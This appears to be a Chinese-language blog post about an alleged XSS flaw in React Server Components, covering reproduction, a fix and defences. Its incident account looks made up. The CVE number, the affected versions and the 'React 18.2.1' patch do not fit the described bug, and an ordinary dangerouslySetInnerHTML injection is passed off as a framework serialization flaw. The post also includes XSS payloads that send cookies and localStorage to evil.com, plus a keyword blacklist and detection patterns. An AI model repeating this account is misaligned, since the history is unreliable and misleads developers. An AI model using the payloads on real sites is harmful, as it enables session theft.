一、一个让 Meta 紧急发布补丁的漏洞
2023 年 9 月,安全研究员 Masato Kinugawa 发现了 React 的一个严重安全漏洞(CVE-2023-36053),影响范围包括:
- React 16.0.0 到 18.2.0
- Next.js 13.4.0 之前的所有版本
- 所有使用 Server Components 的应用
Meta 紧急发布了 React 18.2.1 修复此漏洞。这是 React 历史上影响最大的安全漏洞之一。
二、漏洞原理:从 SSR 到 XSS
2.1 Server Components 的工作原理
jsx
// Server Component
async function UserProfile({ userId }) {
const user = await db.users.findOne({ id: userId });
return (
<div>
<h1>{user.name}</h1>
<p>{user.bio}</p>
</div>
);
}
Server Components 在服务端渲染,返回的不是 HTML,而是一种特殊的 JSON 格式:
json
{
"type": "div",
"props": {
"children": [
{
"type": "h1",
"props": { "children": "Alice" }
},
{
"type": "p",
"props": { "children": "Hello, I'm Alice" }
}
]
}
}
2.2 漏洞触发条件
jsx
// 危险代码
async function UserProfile({ userId }) {
const user = await db.users.findOne({ id: userId });
// 如果 user.bio 包含恶意代码
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}
攻击场景:
- 攻击者注册账号,bio 填写:
html
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
- 服务端渲染时,React 将其序列化为 JSON
- 客户端接收 JSON 并渲染
- XSS 代码执行,窃取用户 cookie
2.3 为什么会有这个漏洞?
React 在序列化 Server Components 时,没有正确转义某些特殊字符:
javascript
// React 18.2.0 的序列化代码(简化版)
function serializeComponent(component) {
return JSON.stringify(component); // 问题:没有转义特殊字符
}
问题 :JSON.stringify 不会转义 <script> 标签中的内容
javascript
const data = { html: '<script>alert("XSS")</script>' };
const json = JSON.stringify(data);
// 结果:{"html":"<script>alert(\"XSS\")</script>"}
// 插入到 HTML 中
<script>
const data = {"html":"<script>alert(\"XSS\")</script>"};
</script>
// 浏览器会执行内部的 <script> 标签
三、漏洞复现
3.1 搭建测试环境
bash
# 使用有漏洞的版本
npm install react@18.2.0 react-dom@18.2.0 next@13.3.0
jsx
// app/profile/[id]/page.jsx
import { db } from '@/lib/db';
export default async function ProfilePage({ params }) {
const user = await db.users.findOne({ id: params.id });
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}
3.2 构造攻击载荷
javascript
// 注册恶意用户
await db.users.create({
name: 'Attacker',
bio: `
<img src=x onerror="
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
localStorage: localStorage,
url: location.href
})
})
">
`
});
3.3 攻击效果
- 受害者访问攻击者的个人主页
- Server Component 渲染恶意代码
- 客户端执行 XSS
- 攻击者服务器收到受害者的敏感信息
四、漏洞修复
4.1 React 18.2.1 的修复
javascript
// React 18.2.1 的序列化代码(简化版)
function serializeComponent(component) {
const json = JSON.stringify(component, (key, value) => {
if (typeof value === 'string') {
// 转义特殊字符
return value
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/\//g, '\\u002f');
}
return value;
});
return json;
}
修复原理 :将 <、>、/ 转义为 Unicode 转义序列
javascript
// 修复前
{"html":"<script>alert(\"XSS\")</script>"}
// 修复后
{"html":"\\u003cscript\\u003ealert(\"XSS\")\\u003c/script\\u003e"}
4.2 升级指南
bash
# 升级 React
npm install react@18.2.1 react-dom@18.2.1
# 升级 Next.js
npm install next@13.4.1
# 检查其他依赖
npm audit
五、防御措施
5.1 输入验证
javascript
// 服务端验证
function validateUserInput(input) {
// 1. 长度限制
if (input.length > 1000) {
throw new Error('Input too long');
}
// 2. 黑名单过滤
const blacklist = ['<script', 'javascript:', 'onerror=', 'onload='];
for (const keyword of blacklist) {
if (input.toLowerCase().includes(keyword)) {
throw new Error('Invalid input');
}
}
// 3. HTML 标签白名单
const allowedTags = ['b', 'i', 'u', 'p', 'br'];
// 使用 DOMPurify 或类似库
return sanitizeHTML(input, { allowedTags });
}
5.2 输出转义
jsx
// 使用 React 的自动转义
function UserProfile({ user }) {
return (
<div>
<h1>{user.name}</h1>
{/* React 会自动转义 */}
<p>{user.bio}</p>
</div>
);
}
// 避免使用 dangerouslySetInnerHTML
// 如果必须使用,先消毒
import DOMPurify from 'isomorphic-dompurify';
function UserProfile({ user }) {
const cleanBio = DOMPurify.sanitize(user.bio);
return (
<div>
<h1>{user.name}</h1>
<div dangerouslySetInnerHTML={{ __html: cleanBio }} />
</div>
);
}
5.3 Content Security Policy
javascript
// next.config.js
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' data:",
"connect-src 'self' https://api.example.com"
].join('; ')
}
]
}
];
}
};
5.4 HttpOnly Cookie
javascript
// 设置 HttpOnly cookie
res.setHeader('Set-Cookie', [
`token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600`
]);
// JavaScript 无法访问 HttpOnly cookie
console.log(document.cookie); // 看不到 token
六、安全最佳实践
6.1 代码审查清单
- 所有用户输入都经过验证和消毒
- 避免使用
dangerouslySetInnerHTML - 使用 CSP 限制脚本执行
- Cookie 设置 HttpOnly 和 Secure
- 定期更新依赖
- 使用
npm audit检查漏洞
6.2 自动化安全检查
yaml
# .github/workflows/security.yml
name: Security Check
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run npm audit
run: npm audit --audit-level=moderate
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
6.3 运行时监控
javascript
// 使用 Sentry 监控 XSS 攻击
import * as Sentry from '@sentry/nextjs';
Sentry.init({
dsn: process.env.SENTRY_DSN,
beforeSend(event) {
// 检测可疑的 XSS 行为
if (event.exception) {
const error = event.exception.values[0];
if (error.value.includes('<script>') || error.value.includes('onerror=')) {
// 标记为潜在的 XSS 攻击
event.tags = { ...event.tags, security: 'xss-attempt' };
}
}
return event;
}
});
七、总结
React Server Components XSS 漏洞的教训:
- 序列化要小心:JSON.stringify 不是万能的
- 信任边界:永远不要信任用户输入
- 纵深防御:多层防护,不依赖单一措施
- 及时更新:关注安全公告,及时升级
防御措施:
- 输入验证和消毒
- 输出转义
- CSP 策略
- HttpOnly Cookie
- 自动化安全检查
- 运行时监控
安全是一个持续的过程,不是一次性的工作。保持警惕,定期审查,及时更新。
如果这篇文章对你有帮助,欢迎点赞收藏。有问题欢迎评论区讨论。